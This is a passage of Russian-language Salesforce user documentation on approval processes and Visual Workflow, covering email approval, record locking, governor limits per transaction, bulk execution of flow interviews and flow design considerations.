Этапыутвержденияназначаютразличнымпользователямзапросына утверждениеиопределяютпоследовательность
выполнения отдельных процессов утверждения. Каждый этап утверждения определяет атрибуты, которые должны
быть назначены записи для вхождения на данный этап, пользователя, ответственного за утверждение запросов, и
возможность утверждения запросов представителем ответственного за утверждение. Первый этап утверждения
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определяет действие, которое должно быть выполнено, если запись не входит на данный этап. Последующие этапы
процесса позволяют определять действия, выполняемые при отклонении запроса.

Назначенный ответственный за утверждение
Назначенный ответственный за утверждение — это пользователь, ответственный за утверждение запроса.

Делегированный ответственный за утверждение
Делегированный ответственный за утверждение — это пользователь, выбранный назначенным ответственным за
утверждение в качестве альтернативы для отправки запросов на утверждение. Делегированные ответственные за
утверждения не могут переназначать запросы на утверждение; они могут только утверждать или отклонять запросы.

Электронное утверждение
Функцияэлектронногоутвержденияпозволяетпользователямутверждатьилиотклонятьэлектронныезапросыпутем
отправки ответа на сообщение эл. почты. Ответственным за утверждение должно быть предоставлено полномочие
«API включен», позволяющее утверждать или отклонять запросы на утверждение посредством эл. почты.

При обработке запроса на утверждение первая строка текста сообщения может содержать одно из указанных ниже
слов.

• утвердить

• утверждено

• да

• отклонить

• отклонено

• нет

Точки и восклицательные знаки могут использоваться в конце слова. При необходимости добавьте комментарии во
вторую строку сообщения. Ссылка, добавленная в сообщение эл. почты, позволяет пользователям переходить на
страницуутверждения. Даннаяфункцияособеннополезнаорганизациям, пользователикоторыхпринимаютзапросы
на утверждение посредством мобильного устройства.

Дополнительнуюинформациюовключениифункцииэлектронногоутверждениясм. вразделе «Настройкапараметров
бизнес-правил и утверждений» на странице 5050.

Прим.: Прежде чем включить функцию электронного утверждения, обратите внимание, что данная функция
не может использоваться процессами утверждения, где назначенным ответственным за утверждение является
очередь, илимногоэтапнымипроцессамиутверждения, гдеследующийответственныйзаутверждениевыбирается
вручную после первого этапа. Пользователи, использующие Microsoft® Word® в качестве редактора почтовых
сообщений, должны добавлять комментарии в конец первой, а не второй строки сообщения.

Действия исходной отправки
Действияисходнойотправки — этодействия, выполняемыеприпервойотправкезаписинаутверждение. Поумолчанию
исходная отправка инициирует автоматическую блокировку записи. Действиями исходной отправки считаются
любые действия утверждения (например, электронные предупреждения, обновления полей, задачи или исходящие
сообщения). Например, действие исходной отправки может задать значение «Выполняется» настраиваемому полю
«Статус утверждения».

Действия окончательного утверждения
Действия окончательного утверждения — это действия, выполняемые при наличии всех обязательных утверждений
записи. Действиямиокончательногоутверждениясчитаютсяэлектронныепредупреждения, обновленияполей, задачи
илиисходящиесообщения. Например, действиеокончательного утвержденияможетназначить статус «Утверждено»
и отправить электронное уведомление.
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Действия окончательного отклонения
Действия окончательного отклонения — это действия, выполняемые при отклонении запроса ответственным за
утверждение. Действиямиокончательного отклонения считаются электронныепредупреждения, обновления полей,
задачи или исходящие сообщения. Например, действие окончательного отклонения может назначить статус
«Отклонено», отправить электронное уведомлениеиразблокировать запись для ее редактированияпередповторной
отправкой.

Исходящее сообщение
Исходящее сообщение — это действие бизнес-правил, утверждений или контрольных точек, которое отправляет
указанныесведенияуказаннойконечнойточке (например, внешнейслужбе). Параметрыисходящихсообщениймогут
быть заданы в меню настройки Salesforce. Затем рекомендуем настроить внешнюю конечную точку. Получатель
сообщений может быть создан посредством SOAP API.

Экземпляр процесса
Экземпляр процесса — это один экземпляр процесса утверждения. Новый экземпляр процесса создается при каждой
отправке записи на утверждение.

Узел экземпляра процесса
Узел экземплярапроцесса — это экземплярэтапа утверждения. Новыйузел экземплярапроцесса создаетсяприкаждом
входе записи на этап процесса утверждения. Если запись не соответствует критериям этапа или экземпляр процесса
утверждения выполняется без входа на этап, то узел экземпляра процесса не создается.

Действия отзыва
Действия отзыва — это действия, выполняемые при отзыве отправленного запроса на утверждение. По умолчанию
отзывинициируетавтоматическуюразблокировкузаписи. Действиямиотзывасчитаютсяэлектронныепредупреждения,
обновления полей, задачи или исходящие сообщения. Например, действие отзыва может изменить статус запроса
«Выполняется» на «Не отправлено».

Блокировка записи
Блокировказаписи — этопроцесс, предотвращающийредактированиезаписи, независимоотпараметровбезопасности
поля или общего доступа. Система Salesforce автоматически блокирует записи, ожидающие утверждения.
Редактирование заблокированных записей доступно только при наличии полномочия «Изменить все» для данного
объектаилиполномочия «Изменениевсехданных». Поумолчаниюсвязанныесписки «Действияисходнойотправки»,
«Действия окончательного утверждения», «Действия окончательного отклонения» и «Действия отзыва» содержат
действия «Блокировка записи». Данноестандартноедействиенеможетбытьизмененодлядействийисходнойотправки
и отзыва.При необходимости участники кампании могут быть добавлены в кампании, заблокированные для
утверждения.

СМ. ТАКЖЕ:

Утверждения

Начало работы с утверждениями
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Visual Workflow

Visual Workflow

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Visual Workflow позволяет пользователям автоматизировать бизнес-процессы путем
созданияпотоковиихраспространениямежду соответствующимипользователямиили
системами. Поток — это приложение, которое может выполнять логику,
взаимодействовать с базой данных Salesforce, вызывать классы Apex и собирать
пользовательскиеданные. Принеобходимостисоздайтепотокипосредствомоблачной
версии приложения Flow Designer.

При необходимости создайте автоматически запущенные потоки. Автоматически
запускаемый поток может быть запущен без взаимодействия с пользователем, например
из процесса или посредством метода класса Apex под названием interview.start.
Автоматически запущенные потоки используют пакетное выполнение без
взаимодействия спользователем. Онинемогут содержать элементы «Действие», «Окно»,
«Выбор» и «Динамический выбор» в активной или последней версии потока.

Visual Workflow отличается тремя разными аспектами.

Разработка
Создание потоков посредством облачной версии приложения Flow Designer. Данный интерактивный инструмент
позволяет быстро определять структуру потока инастраивать параметры его выполнениябез создания специального
кода.

Управление
Созданный поток доступен для управления в системе Salesforce, а также для активации, деактивации, удаления,
выполнения или редактирования свойств.

Выполнить
Пользователи потока могут запускать активный поток посредством настраиваемой кнопки, вкладки, ссылки или
URL-адреса потока. При предоставлении соответствующих полномочий системы могут выполнять активные потоки
посредством класса Apex или процесса.

Пример: ИспользуйтеVisual Workflowдлясозданиясценариеввызоваслужбыподдержкикомпанииилиформирования
оперативных смет для торговой организации.

СМ. ТАКЖЕ:

Какой инструмент автоматизации следует использовать?

Стандартные блоки потока
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Стандартные блоки потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При создании потоков рекомендуем использовать разные элементы, коннекторы и
ресурсы.

• Каждый элемент (1) соответствует действию, которое может выполняться потоком. Например, чтение или запись
данных Salesforce, отображениеисборданныхотпользователейпотока, выполнениелогикиилиуправлениеданными.

• Каждый коннектор (2) определяет доступный путь, который может использоваться потоком при выполнении.

• Каждый ресурс (3) соответствует значению, которое может использоваться в любой области потока.

СМ. ТАКЖЕ:

Элементы потока

Ресурсы потока

Коннекторы потока
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Чем отличаются приложения Workflow и Visual Workflow?

Несмотря на похожие имена, приложения Workflow и Visual Workflow являются разнымифункциями Salesforce,
позволяющими автоматизировать бизнес-процессы.

Workflow
Приложение Workflow позволяет настраивать бизнес-правила. Бизнес-правило определяет типы изменений или
добавлений, инициирующие заданные действия бизнес-правила (например, отправка электронных предупреждений и
обновление полей записей).

Бизнес-правилаидействиясвязываютсясконкретнымобъектом (имогуткроссироватьобъектытолькодляобновления
полей связанной основной записи).

Visual Workflow
Приложение Visual Workflow позволяет создавать потоки, инициируемые пользователями, а не событиями. В отличие
от приложения Workflow, выполняющего правила и действия в фоновом режиме, приложение Visual Workflow
поддерживает окна для отображения и сбора сведений от пользователя, выполняющего поток.

Прим.: При необходимости воспользуйтесь пробной версией, позволяющей бизнес-правилам выполнять
потоки в фоновом режиме. Конструктор процессов заменяет триггеры потока как действия бизнес-правила,
ранее доступные только в пробной версии. Организации, использующие триггеры потока как действия
бизнес-правила, могутпродолжитьих созданиеиредактирование; триггерыпотока как действиябизнес-правила
недоступны новым организациям.

Потокине связываются с отдельнымобъектом. Онимогутнаходить, создавать, обновлятьи удалять записидляразных
объектов.

Слово Visual, используемое в названии приложения Visual Workflow, указывает на возможность визуального создания
потоков посредством облачной версии приложения Flow Designer. Интерактивный пользовательский интерфейс
приложения позволяет создавать потоки без создания специального кода.

СМ. ТАКЖЕ:

Какой инструмент автоматизации следует использовать?

Бизнес-правило

Visual Workflow

Ограничения и рекомендации для Visual Workflow

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Присоздании, управленииивыполнениипотоковрекомендуемпросмотретьдоступные
полномочия, текущие ограничения и возможные неполадки.

Ограничения для Visual Workflow

НижеперечисленыограничениядляпотоковиконтролирующиеограниченияApex,
применяемые приложением Visual Workflow.

Рекомендации по проектированию потоков
Ниже перечислены некоторые рекомендации по созданию потоков.

Рекомендации по управлению потоками
Ниже перечислены некоторые ограничения по управлению потоками.

Рекомендации по выполнению потоков
При запуске или тестировании потока помните о некоторых ограничениях и рекомендациях.
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Доступность потока
Visual Workflow соответствует требованиям статьи 508, кроме некоторых исключений.

СМ. ТАКЖЕ:

Облачная версия приложения Flow Designer

Ограничения для Visual Workflow

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже перечислены ограничения для потоков и контролирующие ограничения Apex,
применяемые приложением Visual Workflow.

50Максимальное количество версий на один поток

2000Максимальноеколичествовыполненныхэлементовпривыполнении

500Максимальное количество активных потоков и процессов на одну
организацию

1000Максимальное количество потоков и процессов на одну
организацию

30,000Максимальное количество сеансов потока или групп
запланированных действий (из процессов), доступных для
одновременного ожидания

1000Максимальное количество возобновленных сеансов потока или
групп запланированных действий, выполняемых за час

20,000Максимальноеколичествооповещенийпоотносительномувремени,
заданных в версиях потока или расписаниях на основе значения
поля в процессах

Apex контролирует ограничения, влияющие на потоки
Система Salesforce поддерживает строгие ограничения, позволяющие предотвращать единоличное использование
общедоступныхресурсовбесконтрольнымипотокамивмногопользовательскойсреде. Ограниченияна транзакцию,
применяемыекодомApex, контролируютпотоки. Еслиэлементинициируетпревышениетранзакциейконтролирующих
ограничений, тосистемавыполняетоткатвсейтранзакции. Откаттранзакциивыполняетсядажеприналичиизаданного
пути коннектора «Ошибка» в элементе.

Потоки в транзакциях
Каждый сеанс потока выполняется в контексте транзакции. Транзакция — это набор операций, выполняемых как
единое целое. Например, транзакция может выполнять триггеры Apex и правила расширения помимо сеанса потока.
Неудачное выполнение одного сеанса в транзакции инициирует отмену всех сеансов в транзакции, а также любых
выполненных операций. Повторная попытка выполнения операций (включая сеанс потока) не предпринимается.
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Пакетное выполнение потока в транзакциях
Программисты могут создавать код, позволяющий одновременно выполнять похожие действия в одном пакете.
Например, выполнение одной операции по созданию 50 записей вместо 50 отдельных операций, каждая из которых
создаетодну запись. Данныйпроцессназываетсяпакетнымвыполнениемипрепятствуетпревышениюконтролирующих
ограничений. При использовании потоков система поддерживает автоматическое пакетное выполнение. Сеансы
потока автоматически выполняют действия пакетом.

СМ. ТАКЖЕ:

Visual Workflow

Ограничения и рекомендации для Visual Workflow

Apex контролирует ограничения, влияющие на потоки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Система Salesforce поддерживает строгие ограничения, позволяющие предотвращать
единоличное использование общедоступных ресурсов бесконтрольными потоками в
многопользовательской среде. Ограничения на транзакцию, применяемые кодом Apex,
контролируют потоки. Если элемент инициирует превышение транзакцией
контролирующих ограничений, то система выполняет откат всей транзакции. Откат
транзакции выполняется даже при наличии заданного пути коннектора «Ошибка» в
элементе.

Ограничение на транзакцию
1

Описание

100Общее количество отправленных
запросов SOQL

(выполнения элементов «Обновление
записи», «Удаление записи», «Поиск
записи» и «Быстрый поиск»)

50,000Общее количество записей, извлеченных
запросами SOQL

(во всех элементах «Обновление записи»,
«Удаление записи», «Поиск записи» и
«Быстрый поиск», выполненных во всех
сеансах транзакции)

150Общее количество отправленных
операторов DML

(выполнения элементов «Создание
записи», «Обновление записи», «Удаление
записи», «Быстрое создание», «Быстрое
обновление» и «Быстрое удаление»)

10,000Общееколичествозаписей, обработанных
в результате применения операторов DML
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1Автоматическизапущенныепотокиявляютсячастьюболеекрупнойтранзакции, используемойдляихзапуска. Например,
потоки, запущенныепосредствомпроцесса, выполняются вместе с другимидействиямипроцесса какчастьболее крупной
транзакции. Потоки, содержащиеэлементы «Окно», могутохватыватьнесколькотранзакций. Новаятранзакцияначинается
при каждом нажатии кнопки «Далее». Потоки, содержащие элементы «Ожидание», охватывают несколько транзакций.
Транзакция завершается, когда сеанспотоканачинаетожидать событие. Возобновлениесеансапотокаинициируетначало
новой транзакции. Операции, следующие за элементом «Ожидание», выполняются как часть пакетной транзакции,
содержащей другие возобновленные сеансы.

СМ. ТАКЖЕ:

Руководство разработчика Apex: контролирующие ограничения при выполнении

Ограничения для Visual Workflow

Потоки в транзакциях

Каждый сеанс потока выполняется в контекстетранзакции. Транзакция — это набор операций, выполняемых как единое
целое. Например, транзакция может выполнять триггеры Apex и правила расширения помимо сеанса потока. Неудачное
выполнение одного сеанса в транзакции инициирует отмену всех сеансов в транзакции, а также любых выполненных
операций. Повторная попытка выполнения операций (включая сеанс потока) не предпринимается.

При выполнении каждой транзакции система Salesforce применяет контролирующие ограничения, препятствующие
быстромусокращениюобщедоступныхресурсов. Присовместномиспользованииресурсовнесколькимиорганизациями
Salesforce система Salesforce контролирует все ресурсы на предмет их равномерного распределения между разными
организациями. Данныйпринципнапоминаетмногоквартирныйдом, использующийобщийзапасводыдляобслуживания
всехжильцов. Так, сосед, расходующийвсюводу, мешаетприниматьдушдругимжильцам. (Несмотрянасвоюбанальность,
данный пример позволяет уловить основнуюидею.) Контролирующие ограничения на транзакциюпомогают избегать
возникновения подобных ситуаций.

Когда начинается транзакция потока?
В зависимости от метода распространения потока, транзакция, выполняющая сеанс для данного потока, начинается
разными способами.

Когда завершается транзакция потока?
Условие завершения транзакции определяется наличием некоторых элементов потока и необходимостью ее начала
ввиду изменения записи.

СМ. ТАКЖЕ:

Пакетное выполнение потока в транзакциях

Когда начинается транзакция потока?

В зависимости от метода распространения потока, транзакция, выполняющая сеанс для данного потока, начинается
разными способами.

Причина начала транзакцииМетод распространения

Создание или обновление записи.Конструктор процессов1

Открытие URL-адреса.URL-адрес потока
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Причина начала транзакцииМетод распространения

Выбор кнопки или ссылки.Настраиваемая кнопка или ссылка

Открытие страницы.Страница Visualforce

Еслиметодначинаетсяпосредствомтриггера before или
after, то транзакция начинается при создании или
обновлении записи.

В противном случае, транзакция начинается при вызове
метода (или родительского метода).

Метод Interview.start()

Метод start() использует ограничения совместно с
другими операциями в транзакции и другими методами в
классе.

Выполнение вызова REST. В зависимости от способа
внедрения вызова REST, ограничения могут совместно
использоваться с другими операциями.

REST API (ресурс «Настраиваемые действия» или «Потоки»)

1Аналогичныйалгоритмприменяетсяприраспространениипотокапосредствомбизнес-правила. Конструкторпроцессов
заменяет триггеры потока как действия бизнес-правила, ранее доступные только в пробной версии. Организации,
использующиетриггерыпотока как действиябизнес-правила, могутпродолжитьих созданиеиредактирование; триггеры
потока как действия бизнес-правила недоступны новым организациям.

Прим.: При выполнении элемента «Окно» или «Ожидание» текущая транзакция завершается, ноначинается новая.

Когда завершается транзакция потока?

Условие завершения транзакции определяется наличием некоторых элементов потока и необходимостью ее начала
ввиду изменения записи.

Ниже перечислены условия завершения транзакции.

• Выполнение элемента «Окно» или «Ожидание».

• Завершение порядка выполнения (если поток инициируется при создании или обновлении записи).

• Завершение всех сеансов в транзакции.

Совет: Привозможномпревышениисеансомпотокаконтролирующихограниченийвнутритранзакциирекомендуем
добавить элемент «Ожидание» или «Окно».

Сеанс, выполняемый данной транзакцией наряду с другими операциями, использует контролирующие ограничения
транзакции совместно с другими операциями.

Пример: Предположим, что обновление 100 обращений выполняется посредствомприложенияData Loader. Ниже
перечислены действия, выполняемые на основании порядка выполнения в транзакции и настроек в организации.

Использование
запроса SOQL

Использование
оператора DML

Операция транзакции

Сохранение обращений в базе данных (без подтверждения).1
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Использование
запроса SOQL

Использование
оператора DML

Операция транзакции

Выполнение правил назначения обращений. Обновление
ответственного за каждое обращение.

2

Выполнениеправилрасширенияобращений. Приналичииобращения,
открытого на протяжении 10 дней, отправка сообщения эл. почты
ответственному.

3

Начало процесса.4

Поиск организации обращения.5

При назначении организации рейтинга «Hot» использование Chatter
для уведомления ответственного за организацию о наличии нового
связанного обращения.

6

Запуск сеанса потока.7

Поискродительскойорганизациииколичества связанныхобращений.8

Проверка организации на наличие более 5 открытых обращений.9

При наличии более 5 открытых обращений: поиск менеджера
подразделения организациии последующая публикация сообщения в

10

ленте Chatter организации для уведомления менеджера подразделения
и ответственного за организацию.

Приналичиинеболее 5 открытыхобращений: публикациясообщения
в ленте Chatter организации для уведомления только ответственного за
организацию.

11

СМ. ТАКЖЕ:

Руководство разработчика Apex: триггеры и порядок выполнения

Пакетное выполнение потока в транзакциях

Программистымогут создаватькод, позволяющийодновременновыполнятьпохожиедействияводномпакете. Например,
выполнение одной операции по созданию 50 записей вместо 50 отдельных операций, каждая из которых создает одну
запись. Данныйпроцесс называется пакетнымвыполнениеми препятствует превышениюконтролирующихограничений.
Прииспользованиипотоков системаподдерживает автоматическоепакетное выполнение. Сеансыпотока автоматически
выполняют действия пакетом.

Как работает пакетное выполнение потока?
Пакетноевыполнениеоперацийсеансаподдерживается толькопривыполненииоперациямиодного элемента. Таким
образом, все сеансы должны быть связаны с одним потоком.
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Какие элементы потока поддерживают пакетное выполнение?

Потоки могут выполнять пакетом любые элементы, выполняющие оператор DML или запрос SOQL, либо
поддерживающие другие действия вне потока (например, отправка сообщения эл. почты).

Пример пакетного выполнения потока
Данный пример определяет порядок пакетного выполнения операций для потока при обновлении 100 обращений
посредством приложения Data Loader.

СМ. ТАКЖЕ:

Потоки в транзакциях

Как работает пакетное выполнение потока?

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Пакетное выполнение операций сеанса поддерживается только при выполнении
операциямиодного элемента. Такимобразом, все сеансы должныбыть связаны с одним
потоком.

При выполнении нескольких сеансов одного потока посредством одной транзакции
каждыйсеансвыполняетсядомоментадостиженияэлемента, поддерживающегопакетное
выполнение. Система Salesforce собирает все сеансы, достигшие одного элемента, и
одновременно выполняет данные операции. При наличии сеансов, достигших другого
элемента, системаSalesforceодновременновыполняетданныеоперации. Данныйпроцесс
повторяется системой Salesforce до завершения всех сеансов.

При превышении любым сеансом контролирующего ограничения выполнение всех
сеансов в транзакции завершается неудачей. Все операции, выполненные сеансами,
отменяются; повторная попытка выполнения операций не предпринимается.

Пример: При загрузке 100 обращений поток «МойПоток_2» инициирует один сеанс для каждого обращения.

• 50 сеансов выполняются до момента достижения элемента «Создание записи» по имени «Создать_задачу_1».

• Другие 50 сеансов выполняются до момента достижения элемента «Создание записи» по имени
«Создать_задачу_2».

Результат? Наличие как минимум двух групп пакетных операций, подлежащих выполнению.

• Одна группа для 50 сеансов, выполняющих элемент «Создать_задачу_1».

• Одна группа для 50 сеансов, выполняющих элемент «Создать_задачу_2».

Какие элементы потока поддерживают пакетное выполнение?

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Потоки могут выполнять пакетом любые элементы, выполняющие оператор DML или
запрос SOQL, либо поддерживающие другие действия вне потока (например, отправка
сообщения эл. почты).

Элементы, создающие, обновляющие или удаляющие записи
При создании, обновлении или удалении записи транзакция выполняет оператор
DML.

• Элементы «Создание» («Создание записи», «Быстрое создание»)

• Элементы «Обновление» («Обновление записи», «Быстрое обновление»)

• Элементы «Удаление» («Удаление записи», «Быстрое удаление»)
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• Элементы «Быстрое действие»

• Элементы «Опубликовать в Chatter»

• Элементы «Отправить на утверждение»

• Элементы Apex: в зависимости от организации (только вызываемый код Apex)

Элементы, ищущие записи
При поиске по полям записи транзакция выполняет запрос SOQL.

• Элементы «Поиск» («Поиск записи», «Быстрый поиск»)

• Элементы «Обновление записи»

• Элементы «Удаление записи»

• Элементы Apex: в зависимости от организации (только вызываемый код Apex)

Элементы, отправляющие сообщения эл. почты

• Элементы «Отправка эл. почты»

• Элементы «Электронное предупреждение»

• Элементы Apex: в зависимости от организации (только вызываемый код Apex)

Прим.:

• В отличие от вызываемого кода Apex, элементы «Модуль Apex» не поддерживают пакетное выполнение.

• Несмотря на пакетное выполнение вызываемого кода Apex, поток не поддерживает способы определения
операций вызванных методов. Чтобы гарантировать пакетное выполнение данных операций, убедитесь, что
код соответствует рекомендациям по пакетному выполнению.

СМ. ТАКЖЕ:

Руководство разработчика Apex: выполнение Apex в пределах контролирующих ограничений по выполнению

Пример пакетного выполнения потока

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данный пример определяет порядок пакетного выполнения операций для потока при
обновлении 100 обращений посредством приложения Data Loader.

Связанныйпоток

Чтобыполучитьболееполноепредставлениеобиспользуемыхпонятиях, воспользуйтесь
структурой связанного потока.
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Поток выполняет действия ниже.

1. Поиск родительской организации обращения и количества открытых обращений, доступных данной организации.

2. Проверка организации на наличие более 5 открытых обращений.

3. При наличии более 5 открытых обращений:

a. Поиск менеджера подразделения для организации.

b. ПубликациясообщениявлентеChatterорганизациидляуведомленияменеджераподразделенияиответственного
за организацию.

4. Приналичии не более 5 открытых обращений: публикация сообщения в ленте Chatter организации для уведомления
только ответственного за организацию.

Выполняемыепакетом сеансы

Обновление записей инициирует одновременное создание одного сеанса потока для каждого обращения. Все сеансы
связываются соднимпотоком. Каждыйсеанс выполняетсядомомента достижения элемента, поддерживающегопакетное
выполнение.

Первый сеанс обрабатывается элементом «Поиск записи» (1). Элементы «Поиск записи» поддерживают пакетное
выполнение, поэтому сеанс дожидается выполнения того же действия всеми другими сеансами. Затем система Salesforce
одновременно выполняет все операции «Поиск записи» (так как они все соответствуют одному элементу одного потока).
Транзакция выполняет один запрос SOQL вместо 100 запросов SOQL.

Первыйсеансоцениваетсяэлементом «Решение» (2). Организациясодержитшестьобращений, поэтомусеанснаправляется
по пути «Более 5». Сеанс передается второму элементу «Поиск записи» (3а). Данный элемент поддерживает пакетное
выполнение, поэтому сеанс дожидается дальнейшей обработки именно здесь.
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Второй сеанс оценивается элементом «Решение» (2). Данная организация содержит одно обращение, поэтому сеанс
направляется по пути «Не более 5». Сеанс передается элементу «Опубликовать в Chatter» (4). Данный элемент также
поддерживает пакетное выполнение, поэтому сеанс дожидается дальнейшей обработки именно здесь.

После обработки всех сеансов 30 сеансов дожидаются выполнения второго элемента «Поиск записи» (3a), а остальные
70 сеансов дожидаются выполнения элемента «Опубликовать в Chatter» (4).

Система Salesforce одновременно выполняет все операции «Поиск записи» (3a) для первых 30 сеансов. Транзакция
выполняет один запрос вместо 30 отдельных запросов SOQL.

Затем транзакция возвращается к элементу «Опубликовать вChatter» (4), где 70 сеансовдожидаются выполненияопераций
«Опубликовать в Chatter». Помните, что данные сеансы соответствуют организациям, которые содержат не более
5 обращений. Система Salesforce одновременно выполняет операции «Опубликовать в Chatter». Транзакция выполняет
одиноператор DML дляодновременногосозданиявсех 100 сообщенийвместо 100 отдельныхоператоров DML длясоздания
каждого сообщения Chatter. Элемент «Опубликовать в Chatter» не имеет последующего связанного элемента, поэтому
выполнение данных 70 сеансов завершается.

30 сеансов, выполнивших поиск соответствующего менеджера подразделения, передаются последнему элементу
«ОпубликоватьвChatter» (3б). Послеобработкивсех 30 сеансовсистемаSalesforceодновременновыполняетвсе 30 операций
«Опубликовать в Chatter». Транзакция выполняет один оператор вместо выполнения 30 отдельных операторов DML для
каждого сообщенияChatter. Элемент «Опубликовать вChatter» неимеетдругого связанногоэлемента, поэтомувыполнение
данных 30 сеансов завершается.

Рекомендации по проектированию потоков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже перечислены некоторые рекомендации по созданию потоков.

Удаление переменных
Удаление переменной sObject или переменной коллекции sObject инициирует
назначение значения null любым назначениям переменной, использующим
удаленную переменную.

Манипулирование процентными значениями
Тщательно проверьте свои потоки, если в них используются переменные sObject
для манипулирования процентными значениями. При вставке значения в поле
процентов переменной sObject значение автоматически делится на 100.

Например, впотоке содержитсяпеременная varNumber, значениекоторойравно 100.
Приназначенииэтого значенияпеременной sObject {!Opportunity.Probability} значение
преобразуется в 0,1. Такое преобразование выполняется каждый раз при передаче
значения в поле процентов переменной sObject. Поэтому, если назначить значение {!Opportunity.Probability} тому же
полю второй переменной sObject ({!Opportunity2.Probability}), значение будет преобразовано из 0,1 в 0,001.

Вовсех случаях, когда этовозможно, используйтепеременнуючисладляманипулированияпроцентнымизначениями.
Если переменную sObject все же необходимо использовать, например, при создании записей с элементом «Быстрое
создание», умножьте значение поля процентов на 100.

Ссылка на пустые поля или ресурсы
Пустое значение любого поля или ресурса отображается при выполнении как значение null. Чтобы обрабатывать
текстовое значение как пустую строку, а не как значение null, задайте данному значению глобальную постоянную
{!$GlobalConstant.EmptyString}.

Логические типы обрабатывают значение null образом, отличным от false
Поток обрабатывает значение null как значение, отличное от false.Например, при попытке поиска записи, для
которойполедляотметкиимеет значение null, записинебудут возвращены. Вместо этого следует выполнитьпоиск
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записей, где поле для отметки имеет значение false. Если вы используете переменную (например myCheckbox
= {!varBoolean}), убедитесь, чтоонанеимеет значения null, перед темкак высоздадите ссылкунанееприпомощи
фильтра или условия.

Настройка типа записи
Чтобы задать тип записи, воспользуйтесь кодом типа записи. Найдите тип записи по имени и сохраните его код в
потоке.

Например, найдите запись RecordType, поле «Имя» которой содержит значение «Сокращенный заказ», посредством
элемента «Поиск записи» и сохраните код данного типа записи в переменной. Затем воспользуйтесь переменной для
заполнения поля записи заказа «Тип записи заказа».

Внешние объекты
Внешние объекты в потоках не поддерживаются.

Рекомендации по облачной версии приложения Flow Designer

Присозданиипотока воблачнойверсииприложения Flow Designerизучите егоограниченияиалгоритмы. Например,
данная версия приложения поддерживает разные языки, но не позволяет открывать потоки из управляемых пакетов.

Рекомендации по работе с большими потоками
Бизнес-процессы могут быть сложными. При использовании потока, выходящего за пределы холста, измените
масштаб, выполните поиск на вкладке «Проводник» или сверните левую боковую панель.

Ограничения для полей со множественным выбором
Благодаря кнопкам-флажкам и полям раскрывающихся списков со множественным выбором пользователи потока
могут выбирать несколько значений в поле окна. До того как приступить к использованиюполей со множественным
выбором, изучите, как они работают при проектировании потока и в ситуации, когда применяются пользователями.

Ограничения для формул потока
При создании ресурса «Формула» или добавлении проверки в поле ввода просмотрите ограничения для формул в
Visual Workflow.

Ограничения для контролируемых по времени потоков
Прежде чем создавать потоки, содержащие как минимум один элемент «Ожидание», просмотрите перечисленные
ниже ограничения и рекомендации.

СМ. ТАКЖЕ:

Создание потока

Операторы потока

Ограничения и рекомендации для Visual Workflow

Ссылки на поля кросс-объекта в потоках
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Рекомендации по облачной версии приложения Flow Designer

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При создании потока в облачной версии приложения Flow Designer изучите его
ограниченияи алгоритмы. Например, данная версияприложенияподдерживаетразные
языки, но не позволяет открывать потоки из управляемых пакетов.

• При выполнении значения даты/времени могут использовать часовые пояса,
отличающиеся от тех, которые отображаются облачной версией приложения Flow
Designer. Во время выполнения значения даты/времени учитывают параметры
часового пояса текущего пользователя, заданные в системе Salesforce. Значения
даты/времени, отображаемые в облачной версии приложения Flow Designer,
используютчасовойпояс, выбранныйнакомпьютере.Облачнаяверсияприложения
Flow Designerдополняет значениедаты/временисмещениемотносительноГринвича.

• Облачная версияприложения Flow Designerнеподдерживаеткодировку UTF-8 вполях
пользовательского ввода.

• Облачная версия приложения Flow Designer содержит внедренные шрифты для всех поддерживаемых языков. Ниже
перечислены поддерживаемые языки.

– Английский (США)

– Французский (Франция)

– Немецкий (Германия)

– Испанский (Испания)

– Японский (Япония)

– Китайский (традиционный)

– Китайский (упрощенный)

Неподдерживаемыесимволы, введенныедляподдерживаемогоязыка, отображаютсяпосредствомсистемныхшрифтов
взамен внедренных.

Прииспользованиинеподдерживаемых языков параметры системногошрифтаиспользуются для отображения всех
символов в облачной версии приложения Flow Designer.

• Облачная версия приложения Flow Designer не позволяет открывать потоки, установленные из управляемых пакетов.

• Строка null неможетбытьвведенав качестве значениятекстовогополявоблачнойверсииприложения Flow Designer.

• Облачная версия приложения Flow Designer поддерживает доступ к данным, существовавшимна момент ее открытия.
При изменении данных или метаданных организации рекомендуем закрыть и повторно открыть облачную версию
приложения Flow Designer для их использования в потоке. Например, при добавлении настраиваемого поля или
изменении классаApexпосле открытия облачной версииприложения Flow Designerрекомендуем закрытьиповторно
открыть облачную версию приложения Flow Designer.

• Облачная версия приложения Flow Designer использует полномочия и языки, назначенные текущему пользователю.

• Если открываемый поток последний раз открывался в выпуске Winter'12 или ранее, то каждое логическое решение
преобразуется в многорезультатный элемент «Решение», который:

– использует имя устаревшего решения.

– наследует уникальное имя устаревшего решения, дополненное элементом «_switch».

– использует результат с меткой «Истина». Уникальное имя данного результата соответствует уникальному имени
устаревшего решения, а его условия извлекаются из результата «Истина» устаревшего решения.

– использует стандартный результат с меткой «Ложь».
